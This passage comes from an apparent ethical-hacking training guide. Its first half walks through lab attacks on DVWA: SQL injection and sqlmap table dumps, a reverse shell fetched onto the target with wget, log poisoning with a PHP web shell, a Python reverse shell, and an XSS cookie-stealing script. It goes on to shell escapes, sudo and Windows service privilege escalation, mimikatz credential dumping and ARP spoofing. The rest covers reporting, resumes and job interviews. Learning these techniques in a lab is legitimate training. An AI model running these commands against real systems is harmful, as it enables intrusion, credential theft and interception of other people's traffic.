ID: 1' union select column_name, null from information_schema.columns where
table_name='users' #
First name: failed_login
Surname:
ID: 1' union select column_name, null from information_schema.columns where
table_name='users' #
First name: CURRENT_CONNECTIONS
Surname:
ID: 1' union select column_name, null from information_schema.columns where
table_name='users' #
First name: TOTAL_CONNECTIONS
Surname:
After looking at this we can see user and a password field seem to be the most important. We
can now easily pull this out.
1' union select user, password from users #
Results:

We can use sqlmap to do a lot of things. We can use it to take a look at the databases first:
sqlmap –cookie=”” -u
“http://192.168.1.22/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit” –current-db

Now that we see its dvwa. We now need to know what tables there are.
sqlmap –cookie=”” -u
“http://192.168.1.22/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit” -D dvwa –tables

We can see users is part of the tables available. Now lets see the columns of the table.
sqlmap –cookie=”” -u
“http://192.168.1.22/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit” -D dvwa -T users –
columns

We now see that we have user and password column. Lets see whats in it.
sqlmap –cookie=”” -u
“http://192.168.1.22/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit” -D dvwa -T users –
dump

When we run the command above we will select y to process further. Then they again to send
to dict attack. It takes a second but we can see we have the usernames and their passwords
cracked ready to go!
This is all great for the web app but we haven’t accessed the system yet! If we use the flag –osshell it will provide us with an interactive (sort of) OS shell we can use to send over a payload
for more access!
First thing we do is setup our reverses shell. Since we ran uname -a we see its linux 64bit!
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.178.1.23 LPORT=4444 -f elf -o
shell

Next we setup our http server in the same dir and issue a wget from the target to grab it!
python -m SimpleHTTPServer 8080

on target-> wget http://192.168.1.23:8080/shell
on target-> chmod +x shell

Next we setup a meterpreter session to grab the shell:
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.23
set LPORT 4444

Then on our target we issue ./shell and get our full shell working with meterpreter! Note you
could have used a python reverse shell, bash reverse shell, etc if the conditions are not right for
a meterpreter session.

Local File Inclusion:

LFI or Local File Inclusion can compromise an entire web server. This vulnerability occurs when
a developer uses the PHP include() statement when including another file into the current web
page. If the user input is not sanitized this issue can occur.
Using this we can use ../ to our advantage and go back to the OS’s root / or C:\ on Windows and
load in almost any file we want AKA that the web user running the web service can access. If we
are not sure exactly where the web root is located we can just keep using ../ until we can read
the /etc/passwd file.
../../../../../../../../../etc/passwd

After loading this into our browser we can see the contents of passwd loaded onto the screen!
We can take this a step further with log poisoning to gain access to the machine itself!
Log poisoning is when you purposely add code to a log such as the access log of the web server,
secure log for ssh, etc and load it into the browser to get it to execute.
In our case we will poison the apache access logs. First thing we need to do is get our PHP code
into the access log. The quickest way to achieve this is with NC. If we try this in our browser the
browser may encode the characters, we need and the payload will not work.

nc 192.168.1.22 80
GET /<?php system($_GET['cmd'); ?>

The above will execute commands with the parameter cmd when the access log is included
onto the page.
If we use the Python reverse shell from Pentest Monkey as shown below with our python
payload we can get a reverse shell. Make sure you have a nc listener for the same port!
../../../../../../../../../var/log/apache2/access.log&cmd=PAYLOAD
Python Paylod:
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

XSS:
XSS or Cross Site Scripting is a type of attack that allows an attacker to execute client side code
in another users browser. There are 3 types of XSS.
•
•
•

DOM XSS
Reflected XSS
Stored/Persistant XSS

DOM or Document Object Model is an interface for a programmer to modify the current web
page without actualy reloading the page itself. This is vary common in web applications. When
attcking this type you will see that the code you ran is not executed anywhere on the page.
Reflected is similiar to DOM in exploitation but this does actually load the payload onto the
page itself. This can be vairly obvious to an admin or user. One interesting note about DOM and
Reflected XSS. Both of these attacks are executed by sending a target the link with the payload
inside of it. You can encode the payload to a point to make it less ovbious or even use a link
shortener to avoid detection from a user.
Stored or Persistant XSS is far more dangerious as it does not require you to send a link to any
one. This happens when the payload is store in a DB or anywhere on the web server. This
happens for things like message boards, comments, etc. When this occurs every user that loads
the page will get the code executed!
To test standard XSS:
<script>alert('XSS')</script>
You can do quite a bit with XSS. You can grab the session cookies of the user and then use this
to log into their account without any credentials! This is also known as session hijacking.
The code below will redirect the user to a web server with the cookies in the URL! You can clean
this up a bit by having the web page not be missing and have it redirect the user to another
location.
<script>document.location='http://localhost:8080/file.php?c='
+document.cookie</script>

Privilege Escalation:
Privilege Escalation is the task of moving from one user’s access to another. In most cases the
targeted use is root or Administrator/SYSTEM. There are a large number of ways to get to the
desired outcome. Most of them depend on the system configuration, applications installed and
versions of software installed. Below is a small list of topics around Privilege Escalation.
•
•
•
•

OS Version
OS/Application Misconfigurations
File Permission
Binary Flaws

Stabilizing Shells:
Once you gain access to a machine you must first make sure the shell itself is stable. You can
run into issues where the web server runs a limited amount of time on scripts, Av’s, HIDS and
even exploit stability issues. All of these things play a role into the stability of your shell.
Once you understand the stability side of the shell you will want to stabilize it further with a
fully interactive TTY shell. This allows you to work with tools such as FTP, SSH, Sudo, etc.
Without a full TTY shell these will all fail. This is also convent because a full TTY shell allows for
tab completion and command history!
The first step is to use a python PTY shell which is a psudo shell that can trick applications like
sudo and vi but not everything. This is a go to in most situations.
Python –c ‘import pty; pty.spawn(“/bin/bash”)’
Another solution is to use socat. Socat is a bit better than nc as it can provide secure tunnels as
well as shells from a system. What’s nice about these shells is that they are fully TTY present
and can be used in place of nc. Note that most systems will not have socat installed but there
are stand along binaries that you can push over to that target machine.
# Listener
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Attacker
socat exec:’bash –li’,pty,stderr,setsid,sigint,sane tcp:127.0.0.1:4444
This next trick will allow you to use NC only to rebuild a full TTY shell! This is useful if you do not
have any other way to get a full TTY shell on the target.
First we will gain our shell with NC like normal and reuse the python command above to get a
psudo terminal. Once we have this that’s access we will (on our attacker machine) push the
shell to the background with CTRL+Z.

Once this is done we will need to grab the TTY settings for the terminal we are using for the NC
shell. Run the 2 commands below and record their output.
# Grab the entire output for this
echo $TERM
# Grab only the number of rows and columns
ty –a
After this is done we will need to set our current terminals TTY to raw. Note that this is the
same window we have open that we used to push the NC shell to the background.
ty raw –echo
This will set everything to raw but it will also not show any of our input. Don’t panic we only
need to execute the command fg. This will bring back from the background the NC shell.
Fg
Now that our shell is back we will use the command reset to bring our TTY back to normal. The
export 2 env vars to match our local terminal. These are from the commands we used above.
Finally, we use the ty command to rebuild the shell with a valid TTY.
# Resets the TTY on the remote server using our shell
reset
# Sets the targets shell env var to be bash prompt

export SHELL=bash
# This is the output of echo $TERM
export TERM=xterm-256color
# This is the rows and columns from the ty –a command
ty rows 21 columns 81
Once you run the ty command it will then show a fully interactive prompt that can be used
going forward.

Breaking Out of Jail Shells:
In some cases you may find yourself inside of a jail shell AKA a restricted shell. This may come
to pass from a configuration on the system or an application designed to restrict its own shell.
In both cases there is normally a way out but system/configuration based jail shells are much
harder to work with. Below is a list of common ways to break out of jail or restricted shells.
•
•
•
•
•
•
•
•
•

Try to find out what the full paths are
Python
o python –c “import os; os.system(‘/bin/bash’)”
VI
o vi test.txt (inside vi use ‘:sh’)
If you are allowed to use ‘/’
o /bin/sh
Can you configure the PATH env?
o If so add the command paths to this
Make a symlink over another binary that’s approved with /bin/bash
GDB/MAN/LESS/MORE
o Inside of the application use ‘!sh’
AWK
o awk ‘BEGIN {system(“/bin/sh”)}’
Find
o find / -name test –exec /bin/sh \;

Take this time and look at other ways there are to break out of a jail shell. Take a look at how
the History File break out works and test it out!

Windows Service Misconfigurations:
When working with Windows its important to know what services you may actually have access
to modify. In older version of Windows XP there was a service called upnphost that had default
write access for everyone. This allowed any user on the system to point the service’s binPath to
their own and when the service restarts it will run as SYSTEM.
To see this step by step the first thing we will use is access check to see what each service’s
permissions are.
accesschk.exe -uwcquv * > output.txt
We then take a look at the output and see that upnphost has our users permissions set to full
rights! If we use “sc qc” on the service name we can see that it is indeed running as system.

Now we build out our binary with msfvenom and drop it onto the desktop. Next we will modify
the service’s binPath setting to point to our new binary. Then we setup the service to use
LocalSystem without a password and the dependencies to nothing so no other service attempts
to start.

sc config upnphost binPath= "C:\Documents and Settings\guestAccount\Desktop\exploit.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc config upnphost depend= ""

With this done we wait for the machine to restart and we can see we have gotten our shell as
SYSTEM! Always do a double check on the system for Windows Service Permissions!
Take a moment and try to create a batch loop that will attempt to go through each service and
try to change binPath. Have it report back the ones that do allow a change. This is a nice loop to
have in your pocket if you dont have accesschk.

Sudo:
Sometimes the Kiss (Keep It Simple Stupid) truly is the way to go. There is not reason to bang
your head on the wall looking for an answer if its right in front of you! When you compromise
any machine Windows or Linux always look at the groups you are in and the privileges you have
as that user or group! For Linux we will be looking at sudo. To view your users sudo rights use
the following.
sudo –l
This will list all of the sudo rights the user has. A quick look at this will allow you to see if you
have any quick wins. If you see the following you can simply use “sudo -u root /bin/bash” and
you are done!
accountName ALL=(ALL) NOPASSWD: ALL
In most cases you will not see this to you may see other binaries such as vi, man, less, or even
things like nmap. Think of this as shell escape; like we did with the jail shells. If you can spawn a
shell with these using sudo we are in!
Below are exmaple on how to escalate to root with sudo rights on vi, find, man, nmap.
# vi. You can simply modify the /etc/sodoers file or just spawn a shell!
vi /etc/sudoers
:sh
# find
find /etc/passwd -exec /bin/bash \;
# man
man less
!sh
# nmap
echo “os.execute(‘/bin/bash’)” > /tmp/shell.nse && sudo nmap –script=/tmp/shell.nse
When in doubt always Google any binary found in sudo -l to see if you can use it for privilege
escalation! Even custom binaries can lead to privilege escalation!

Operating System Version:
The quickest way to gain the highest rights available on a system is to look for privilege
escalation exploits for the Operating System version you have compromised. The first step for
this is to identify the OS and its version.
# Linux
uname -a
# Windows, Look for “OS Name” & “OS Version”
systeminfo
Now that we have the version of Windows or the Kernel version for Linux we can begin our look
for privilege escalation exploits. We can start with 2 quick options, metasploit and exploitdb.
On Metaaploit you can search for the OS version and in most cases will result with privilege
escalation exploits. Always double check the CVE number or exploit itself to make sure its a
privilege escalation and not an external exploit.
Exploit-DB allows for a quick search. For example, if we are looking for Windows XP SP1
privilege escalation exploits we would go to Google and search for the following.
Windows XP SP3 Privilege escalation site:exploit-db.com
This will provide us with a large list of available exploits. But there is one issue. If we are
working on our Kali machine we cannot compile for Windows! We can get around this with
Mingw-w64. This will allow us to compile for both OS’s on our Kali machine!
To install this perform the following commands.
apt update && apt upgrade
apt install mingw-w64
If you receive an error stating mingw-w64 cannot be found open up the file /etc/apt/sources.lst
and add the following like to the bottom and save.

deb http://http.kali.org/kali kali-rolling main non-free contrib
Then preocede to follow the rest of the steps above to install mingw-w64. Make sure to
update/upgrade after you modify the sources.lst file!
To compile for x86.
x86_64-mingw32-gcc exploit.c -o exploit.exe
To compile for x64.
i686-w64-mingw32-gcc exploit.c -o exploit.exe
Once this is compiled you can take the exploit.exe and upload the file to the Windows machine
and run the exploit. For the Linux side you can use the standard gcc installed to compile and C
that is needed on the local machine or the remote machine if gcc is available.
Note that not all privilege escalation exploits are created equal. Some will ruin the memory of
the OS and need to be restarted to go back to normal while others do no harm after they are
ran. On top of this there are common OS issues in different versions that allow for privilege
escalation. Make sure you look up any common ways to escalate privileges on a version without
using a full exploit.
Take a moment and look up privilege escalation on windows XP SP3 and see what you can find
that does not use a full compiled exploit.

Lateral Movement
Moving Laterally across a network is what makes a Red Teamer. You should understand what is
currently on a system, how you can use this to your advantage and how to move onto other
systems in the network range.
This can span from everything like tricking users on a compromised web server, finding new
network ranges, spear phishing from inside the network and much much more!

Im Root Now What:
Once you are root on a machine you may want to just note it down and go onto the next one
but you should take a moment and fully understand the system and how it may play in the
network.
You should take a look at the following things to start:
•
•
•
•
•
•
•

Grab password hashes to be used elsewhere
Check the log activity
Grab copies of SSH keys
Is the machine duel homed?
Can we modify a service to attack more targets?
Monitor network traffic to the host
Pivoting through the host to another network

Pulling Hashes:
Knowing how to pull password hashes from systems is a fundamental skill for any Red Teamer.
We will be going over how to pull the hashes from both Linux and Windows.
Linux:
Password hashes can be found in /etc/passwd is some cases but is often moved to
/etc/shadow. You can tell if this is the case by looking at /etc/passwd and seeing and ‘x’ right
after the username ans shown below.
root:x:0:0:root:/root:/bin/bash
When looking in /etc/shadow we will see the password hash presented right after the
username.

Windows:
Performing this in Windows is a little bit different than Linux. The hashes are not in plain sight
but are kept behind the SAM file. The SAM file is restricted by the OS and can only be accessed
by SYSTEM. By another other means this file cannot be touched with the OS running. In some
cases you can grab it form the backup location but it may not be backed up.
In most cases you are stuck with running tools to grab passwords from memory or hashes from
the system. Metasploit’s meterpreter allows for hashdumping and plaintext passwords to be
pulled from memory.
This works if a user is actively logged into a system. Then the password will be in memory and
we are able to pull it out. With a windows environment a hash is just as good as the plaintext in
most cases.
Inside of the meterpreter we can use the following 2 commands to pull hashes and clear text.
# Attempts to dump the hashes from the system
hashdump
# Load in Mimikatz module into the meterpreter to loads passwords from memory
load mimikatz
# Grabs the hashes
mimikatz_command -f samdump::hashes
# Grabs plaintext in memory
mimikatz_command -f sekurlsa::searchPasswords

Duel Homed Machines:
A Duel Homed Machine is a system that contains 2 network cards or has the ability to be on 2
different networks at once. This type of machine is a very valuable find for a Red Teamer as it
allows us to use it as a pivot point to access another unseen network. It is always working
running ipconfig(Windows) or ifconfig(Linux) just to see if the machine compromised has this
setup.

Network Traffic:
Once you have access to the system and complete control over it you will want to further see
what the system is doing. A good place to start this is by watching the network traffic that is
being sent and received from the host. You can capture this content with TCPDump. TCPDump
is installed on most Linux machines and is commonly used by admin.
To capture traffic we will use the following command:
tcpdump -s 0 -i eth1 -w traffic.pcap
# This sets the truncated value of the output fil to MAX
# AKA it will not roll the pcap file but keep it as 1 large file
-s 0
# This will tell TCPDump what interface to monitor
-i eth1
# This will tell TCPDump what file to output it
-w traffic.pcap
The output of this is a pcap file. You can load this into Wireshark to view or use TCPDump to
view it as well.
# To use TCPDump
tcpdump -r traffic.pcap
# Wireshark
wireshark traffic.pcap
Wireshark is going to be the most user friendly. TCPDump has a learning curve but it is very
useful when automating the post recon phase.

Web Servers:
When you gain root access on a machine that is hosting a web server you then are in control of
that service. When you have control of a web service you can then make any changes you want
to the files.
You are able to add code to existing pages to exploit a vulnerability in users browsers, add in
code that writes the password and username to another file then logs the user in and ever
redirects them to a fake internal portal that makes them provide another set of credentials to
be used later! Have this level of access if powerful and can be abused in a lot of ways.

Checking Logs:
When a system is comprimised it is important to take a look at some of the logs that are
generated. Take a look at system logs but also any cron or custom application logs. There are
times that admins build cron jobs that provide sensative or PII data. This is also the case for
custom logs for applications.
Informatino present in logs can allow you a better idea on what the system does and what
functions is has. This is a key component to moving latteraly on a netowrk.
Common log location:
/var/log/

Arp Poisoning:
ARP Poisoning or Man In The Middle (MiTM) Attack is a type of sniffing attack that can be done
on a switched based network. The attacker will trick the victim machine into thinking it is the
router and the router into thinking the attacker is the victim.
This is a very powerful attack and if done correctly it is almost seemless for the victim. The only
way the victim will know what is going on is if they look at the ARP table to see that the
attacking machine and the gateway are showing the same hardware/MAC address.

The way this works is sending the victim a massive amount of continus ARP packets stating that
the router IP has a MAC of our attacking machine. When the victim machine attempts to
update its ARP table it will see our ARP packets first and update the table AKA poisoning the
table. We will reverse this on the router for the victim instead.
The first step of this attack is to setup the attacking machine to allow IP Forwarding. Without
this the traffic will not be forwarded to the router and the victims internet will fail.
echo 1 > /proc/sys/net/ipv4/ip_forward
With this now setup we will use arpspoof to achieve the next 2 stages. First we want to trick the
victim into thinking we are the router.
arpspoof -i eth0 -t 192.168.1.22 -r 192.168.1.1
# This tells arpspoof what interface will be used
-i eth0
# This tells arpspoof what the target address we want to spoof is
-t 192.168.1.22
# This tells arpspoof that we will spoof this host with our own MAC
-r 192.168.1.1
Next we need to reverse the command to make the router our victim as well. If we do not
perform this step the router will respond to the victim with the response instead of the
attacker. If this happens the victim machine will not know or have any record of the packet and
will discard them.
arpspoof -i eth0 -t 192.168.1.1 -r 192.168.1.22
Once you run both of these commands wait about 1-2 minutes for the ARP table to be
poisioned, otherwise you may see that it looks to be failing. Finally we can open up wireshark to
start viewing the traffic that is being sent by the victim and we can now see everthing that is
happening. There is a way to see SSL traffic by stripping it. As an extra assignment attempt to
get SSL in plain text using ARP Spoofing.

Reporting
Being able to report your findings is what makes the Red Team or Ethical Hacker valuable.
Without a report to give to the client the attack was useless. The client needs to be able to
clearly read and understand the report to fully comprehend the findings.
You need to be able to understand the risk to that business itself not just the risk in general.
Just telling a client something is outdated and you need to upgrade does not look well on you
as an Ethical Hacker. You must understand what the infrastructure is and how it works together
to make the best recommendation possible. For example, if you upgrade this piece of software
then all of the automation around it breaks and can cause a site outage. This is not a
recommended idea but what about mitigating it instead? Contractors that are called into the
organization should still note these types of issues may be present when providing
recommendations.

Report Audience:
Understanding the audience of the report is of paramount importance. Commonly this can be
broken down into two different audiences, technical and nontechnical.
The technical audience normally consists of engineers, owners of services and the individuals
that must fix the issues found in the report.
The nontechnical audience is any executive, manager (nontechnical) and program managers.
The members of this audience tends to only read the Executive Summary. There is of course
use cases where any of the standard nontechnical audience members may also be part of the
technical. In these cases you may not know this ahead of time so prepare for both options.
There are some cases when the Red Teamer needs to stand in front of a nontechnical audience
and explain the issues found. Being able to speak to technical issues to nontechnical people is a
skillset that should be part of every Red Teamers skill set. It is a skill that can be gained by doing
it rather than reading about it. A few common tips around this is to use metaphors and
compare the topics to other commonly known processes.

Business Risk on Findings:
The business risk is assigning a label to each issue or assessment as a whole to quickly identify
the priority of each issue found. This is commonly done with a level approach. The levels
generally are low, medium and high. The level of risk for each sections is based on two
categories, no knowledge of the infrastructure and with partial or full knowledge of the
infrastructure. Another question you should ask yourself is: Can this be tied with other
vulnerabilities to compromise the network? If this is true the priority should go up.
Low Risk:
• No Remote Code Execution issues
• Out of date versions without exploits available
• Weak file permissions that do not allow a raise in privileges
Medium Risk:
• Default credentials on web apps no code execution
• XSS
• LFI no code execution
High Risk:
• Unauthenticated Remote Code Execution
• Privilege Escalation
• Administrator/root access
• Lateral movement

Personal Branding
Your personal brand is an important aspect when looking for a job and interacting with the
Security Industry. Starting this brand early can help you get ahead of everyone else that waits
until further into their career.
One big step in build your personal brand is with a Resume. I’m not referring to just the paper
version but also the digital one. This resume is your own person website showcasing and
highlighting what is on your resume, projects worked on, certifications, etc. Building a website
is a quick and easy way to show this.
A good hosting service is GoDaddy. They provide a number of different services but what i
recommend is the following.
• Simple hosting
• WordPress
• SSL Certificate
Having all of this together allows you to build your site and personal brand how you want it.
This is also a good start to building out a blog to share your knowledge. Sharing knowledge is
part of the Security Community.
The final step to building your own personal brand is a LinkedIn Page. This step I believe is the
most vital. This is where you will find most of your employment opportunities and recruiter
contacts. Create a new LinkedIn account with a professional email address and fill everything
out you can. Add any of the following if applicable.
• Courses
• Certifications
• Projects
• Publications
• Skills
Make sure to fill out as much as possible but keep it within the realm of Security. If you are just
starting off fill this in as much as you can but for anyone with a bit of experience in the industry
its more beneficial to leave out unrelated jobs to focus on the IT space.

Once you complete your LinkedIn Profile you can use the job searching feature to look for
employment. Once you start searching here your profile will start showing up for recruiters!
You may even start getting emails about job postings!

The Resume:
Building a Resume is the first step in building a portfolio for your career. This will be what you
provide almost every recruiter when applying for a job.
The first step is to use a good template. I have provided a template above the video you can use
as a starting point. You can also use LinkedIn’s Portfolio export option to generate a nicely
formatted Resume as well.
You will notice that over time your resume will be modified and change its format to one that
you like the most but at first its good to start with a template.
Below are some tips and tricks as well as some considerations to keep in mind when building a
resume.
• Grammar and punctuation (Use Word)
• Misspellings
• Non-Professional Email
• Important information is not first
Its important to have references on a different page. You want to have as short and to the point
resume as possible and having an extra page just for references is a good way to make sure it
stays short. I always provide references when asked not before hand. Make sure your
references know they are references! A reference is an individual that can attest to your
knowledge or skills as a professional not a family member. In some cases a family member is OK
to have on a reference list but I would avoid it.

Professional Email:
While the Resume is going to be the first thing looked at for a candidate the email is the next. A
recruiter will normally take a quick glance at the email near the top of the Resume or in their
email communications with you. Having a professional and appropriate email is of vital
importance when not just job hunting but growing your professional image.
What you use for your email will be a first step in explaining who you are and what type of
professional you appear to be. If possible you should avoid using any explicit/vulgar and slang
terms in your email.
Example of an email i would not use for professional use. Note that these emails may or may
not be real its a random example I thought of and nothing else.
bang69@gmail.com
156g864G@gmail.com
Both of the above are a good example of an unprofessional email. The first email can be
portrayed as something inappropriate while the other has very little meaning and not very
rememberable.
For your professional email you could do something like the following.
john.smith@gmail.com
johnsmith@gmail.com
john_smith@gmail.com
The key take away at this point is to use your name or some identifying name that can be used
to remember you as a person. For a private email you can use anything you like but for
profession try to stick with names only. If the name is not an option try adding a few numbers
to the end and thats it.

There are 2 types of emails, free and paid. An example of a free email is gmail, hotmail, etc. An
example of a paid email is a school .edu address or a private domain. I recommend using either
a school email with a .edu extension or a private domain. If you own your own domain with
your own name. Maybe it is a website version of your resume or you own a blog. You can use
this domain to have a custom email address with your name. This is the ideal situation.
john.smith@johnsmith.com
Having a professional email is an important step at building your own brand’s image as a
respected memory of the security field.

Certifications:
Certifications are a test of a skill set. If you pass you are provided a document that validates this
skill set tested. This is the case for industry trusted certificates. Anyone can create a
certification course and sell it. Its important to understand the industry value for the certificate,
the cost, knowledge gained and how it can improve your personal brand.
There is a common argument that certificates are worth it and that they are not. This will vary
depending on who you ask. I will provide this from a neutral position standpoint.
A certificate in a nut shell is mainly used to do 2 things: attest to your ability on a skill set and to
gain HR or the Human Resource recruiters attention. Its commonly talked about that a
certificate is an HR filter. It is true that some recruiters will filter out any resume that does not
match some certificate that the job postings is showing as required.
From my professional experience I find this to be true. Before you decide to look for a
certification or a course that has a certification at the end is to first look at the job postings for
positions you want. Normally there will be some certifications listed. These are normally
industry trusted.
However, don’t think that just because you have the certificate that the job is guaranteed. You
must sill perform at the interview and prove the knowledge again when questioned about it.

Below are a list of a few certifications that are a good starting point when looking to get into
Red Teaming. I placed these in the order in which i recommend getting them. Note that these
are not required before you start looking for that job but it significantly helps getting your foot
in the door.
•
•
•
•
•

Network +
Security +
OSCP
CISSP
OSCE

For those of you that noticed i did not add any SANS courses in here i did that for a reason.
SANS courses are great and they can provide a lot of value and knowledge but they are out of
reach for a normal consumer as these courses can reach $5,000 and up for a single course. The
certifications listed above are within normal reach of any individual with a little saving.
If you already have base security/network knowledge I would go right to OSCP and get it done.
OSCP is an amazing starting course for any Red Teamer. The certification is well respected but
what is the most important about this certification is the knowledge gained from the path to
getting it. You will learn more than you thought possible and it will give you an entirely differnt
look at Red Teaming. Once this is on your personal brand recruiters normally start contacting
you instead of you them!
The important takeway from this is that certifications are nothing but a tool. Brain dumping the
answers to get the certification will not do you any good. Take time and truly learn what each
of these have. The last thing you want is to get into an interview for a Red Team position and
not be able to answer any questions.

Job Hunting
We are at the final step! You learned the information required and hopefully went the extra
mile to learn as much as possible. Now we will look at how to SLAM the interview at some of
the biggest Silicon Valley Companies such as Google, Facebook, Adobe and more!
As a reminder no single tip and trick, certification or right answer will guarantee you a job
anywhere. Interviewing is a skill in an of itself. It will take time to get better at is and learn what
some common questions and interview formats are being done. There is always a chance that
the Interviewer is having a bad day and no matter what your answer is they wont like it. It
happens! But in most organizations they need an overall majority to like you so don’t stress too
much!

Searching & Analyzing the Job:
Now that you have your resume and personal branding started you can focus on looking for the
job you want! There are countless places to look for a job but we will focus on LinkedIn as it has
shown to provide the best results that I have seen over the years.
When looking for any job its important to understand the types of titles and descriptions that
can be used for that job. We will take Red Team as an example. You will want to take a look at
each of the following on LinkedIn.
•
•
•
•
•

Offensive Security Engineer
Red Team Engineer
Security Engineer, Offensive
Security Engineer, Red Team
Information Security Engineer

There are some cases where an organization will use Security Engineer and Information
Security Engineer as the title but the description talks about Red Teaming. When you are
starting out always take a look at any role with Security Engineer in its title to make sure. You
will start noticing certain company’s that do this and ones that don’t.
The level of the position is also important. There are some cases where a level of a position is
present in the description and other times it is more of an open positions. The standard leveling
process is below.
•
•
•
•
•
•

Security Engineer 1
Security Engineer 2
Security Engineer 3
Sr. Security Engineer
Staff Security Engineer
Sr. Staff Security Engineer

There are levels that can go above this but this is pretty standard for most organizations. There
are other’s that use levels with a character and then a number such as L1, L2, etc.
What you apply for depends on your experience level. If you have a solid IT/Security
background but not in Red Teaming you may want to look at a level 2 or 3 position. If you are
starting out you can look for Junior (not as common) or level 1.

Now that you identified a potential job you want your next step is to analyze the job post to see
if it makes sense for you. First thing I do when looking at a job posting is look at the title, the
experience requested and the first paragraph of the post. This gives you a good idea on what
they are looking for skill level wise. There are times when an organization keeps a title standard
but in the first paragraph say that they are looking for a senior individual. On top of this
LinkedIn has a section that shows the experience level and you should check this as well.
If that checks out you should read at least twice the entire job description. Make sure you
understand what the company is expecting and who they are from a first glance. What’s left at
this point is what the you will be working with AKA the required section and preferred/desired
skills or knowledge they want.
As a quick note. If they have a preferred/desired section think of it as no different than the
required section. However, don’t let that discourage you! I normally follow a 60-70% rule. If you
know enough based on their requirements to be at 60-70% ready to go you should apply. It is
very unlikely for an organization to find a candidate that fits 100% of the requirements. The
organization knows this and so should you! If you feel like you fit 40% or less to the post you
should still apply but continue to look as well.

Applying for the Job:
You have analyzed the job post and you are ready to apply. WAIT! Before you do you need to
take a few things into consideration. The first thing you need to identify is where the job
position is located. Is it in California? Remote? New York? You should be comfortable with the
location of the position. If you are not you could still apply and just let them know you are
looking for remote or another office. Some organizations will allow you to pick another office if
the position is appropriate.
If you are willing to relocate to a new area for the job you need to identify if you have the funds
to make that move. Most larger company’s like Google tend to have a relocation package they
can offer but not all do. Some will have you pay out of pocket and you get a check once you are
in the office. Be careful with these options! In most cases you will have taxes taken out of that
check before you get it.
For example, if you had to pay out of pocket to relocate and it cost $10,000 and the company
stated they would put togeather a relocation package for $10,000 you may only get a check for
$5,000-$6,000 after taxes! If you are unsure if this will occur you can always ask the recruiter

once the offer is at this stage but keep this in mind when applying to any position that is not
local to you.
Before you hit the apply button make sure to perform a little bit of research on the company to
see what they are all about. You want to like to company if you are going to work there!

The Interview:
The Phone Screen:
During this interview you can expect them to introduce themselves, talk a bit about the role
and company as well as any benefits the company has. One note to keep in mind is that the
recruiter may only know a little bit about the position!
When speaking to the recruiter for the first time they will want to know about your experience.
They may have additional talking points about your resume. Most of the time this phone
screening interview is not going to be technical in nature.
However, there are times that a recruiter is provided a list of questions and answers by the
Team that has the position open. These are normally questions with specific answers and not
opened ended questions. Its important to take a moment to analyze the question and make
sure its not an open ended one. If it is be sure to tell the recruiter this as they may not be
aware.
Its important during this step of the interview to treat this as an organic conversation to start
with. This helps build some trust between the you and the recruiter and make things less tense
for you if you are new to this.
At some point you will be able to ask your questions. You want to stick to a few topics such as
the following.
•
•
•
•
•

Get an understanding of the area the position is in
Is there relocation assistance?
Questions around the culture and organization
General questions about benefits
General questions about the Team

There are a few questions I always ask to help gauge my interest in a company. These are
below.
•
•
•

What brought you to COMPANYNAME
What do you like most about the organization
What cons have you noticed for working at this company

Technical Screen:
You made it to the first big interview! Now the fun begins, you get to now show your
knowledge to the team and hiring manager!
Having prepped the for any question, your follow up questions and any coding questions that
might be asked you are ready to interview. I recommend making sure your phone is charged,
you have a good signal and have a comfortable place to interview at.
Note that some first technical interviews are video interviews, if that’s the case dress
appropriate. The recruiter will let you know what type of clothes are appropriate for the
interviewer if that is the case.
There may be questions that are considered open ended. These are the easiest but also the
hardest questions. They will strip out any candidate that does not have enough knowledge on a
subject.
A tip for open ended questions is to ask questions back to the interviewer! If they give you an
example on how you would attack a network, ask about the scope, is there stealth or not, if I
run a port scan to I see X. These are good questions as sometimes interviewers will throw very
vague questions out to see how the candidate interacts with it. Make sure you understand the
questions and ask return questions if you need to.
Once the interview is finished ask the interviewer your prepped questions. Note that talking
about relocation, salary, etc is not appropriate at this step. There may be more than one
interviewer during this call so keep that in mind.
Make sure to note down all of their names for future reference and thank you follow ups! Once
this interview is done like always ask about the next steps after this.

There are some cases where there are 2 technical phone interviews before an offer to come
onsite for the last and final interview. This does not mean you failed the first one but is often a
requirement for candidates that are not localish to the job posting! Its important to follow back
up with your recruiter after the interview is done thanking them for the time. Its a good time to
ask for feedback once it is available for your interview!
If there is going to be another technical interview prep new questions and brush up on topics
you felt were weak during the previous interview and be ready for the next one.
If all goes well the recruiter will invite you to come onsite to meet the team, get a tour, etc!
90% of the time the employer will pay for any travel expenses ahead of time so don’t worry!
The OnSite:
This is the final Step! Now that you have traveled and arrived at the onsite location you are
ready for the day!
Be sure to arrive 15 minutes early! If you think you might be late leave earlier. Getting there
30+ minues early and waiting is not that bad. Its much better to be really early than to be late.
Bring 20 Hard Copies of your resume. You will want extra’s on the off chance there are more
people in the room than expected! With these copies you will want to travel with you a
notebook. Take notes after each interview is complete on what you noticed and how it went!
You can use this to hold your questions as well!
While going through each of the interviews make sure to think out loud. The interviewer wants
to know what your thought process is when working through questions and solutions!
Once of the biggest tips I can provide is to use the Whiteboard if its there! In Silicon Valley
Whiteboards are everywhere and for a reason! Use it! If you have to explain an answer or write
a diagram out it would be best to use the whiteboard!
In some cases there may be a surprise coding question or hands on test. If there is make sure to
ask follow up questions and confirm everything you can. You don’t want to start a problem
without a full understanding of the issue in the first place!
Take a few deep breaths and relax. Once you start the interviews you will begin to relax and go
with the flow of the room!

The Offer:
Congratulations!!! You now have an offer in hand! All of your hard word has paid off! By this
point you should understand the role and responsibilities, want to work at the company and if
you will be relocating or not.
With an offer it can be broke down into a few sections.
• Base Pay /yr
• Bonuses
• Stock’s
• Relocation Offer

Its important to go over each step and make sure all of the numbers make sense. First take a
look at the base pay and make sure the pay make sense for your situation. Next the bonuses.
This is normally on the spot also known as sign on bonuses. This can also refer to the average
bonuses per year. Make sure to ask for clarification on this.
